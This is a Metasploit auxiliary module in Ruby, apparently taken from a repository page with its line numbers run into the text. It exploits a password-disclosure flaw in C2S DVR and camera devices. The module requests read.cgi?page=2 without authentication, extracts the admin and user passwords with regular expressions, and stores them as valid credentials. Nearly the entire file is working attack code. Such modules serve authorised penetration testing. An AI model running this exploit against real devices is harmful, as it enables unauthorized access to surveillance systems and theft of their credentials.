Path: blob/master/modules/auxiliary/gather/c2s_dvr_password_disclosure.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => 'C2S DVR Management Password Disclosure',13'Description' => %q{14C2S DVR allows an unauthenticated user to disclose the username15& password by requesting the javascript page 'read.cgi?page=2'.16This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.17},18'References' => [['EDB', '40265']],19'Author' => [20'Yakir Wizman', # discovery21'h00die', # module22],23'License' => MSF_LICENSE,24'DisclosureDate' => 'Aug 19 2016'25)2627register_options([28OptString.new('TARGETURI', [false, 'URL of the C2S DVR root', '/'])29])30end3132def run_host(rhost)33begin34url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'read.cgi')35vprint_status("Attempting to load data from #{url}?page=2")36res = send_request_cgi({37'uri' => url,38'vars_get' => { 'page' => '2' }39})40unless res41print_error("#{peer} Unable to connect to #{url}")42return43end4445unless res.body.include?('pw_enflag')46print_error("Invalid response received for #{peer} for #{url}")47return48end4950if res.body =~ /pw_adminpw = "(.+?)";/51print_good("Found: admin:#{$1}")52store_valid_credential(53user: 'admin',54private: $1,55private_type: :password56)57end5859if res.body =~ /pw_userpw = "(.+?)";/60print_good("Found: user:#{$1}")61store_valid_credential(62user: 'user',63private: $1,64private_type: :password65)66end67rescue ::Rex::ConnectionError68print_error("#{peer} Unable to connect to site")69return70end71end72end737475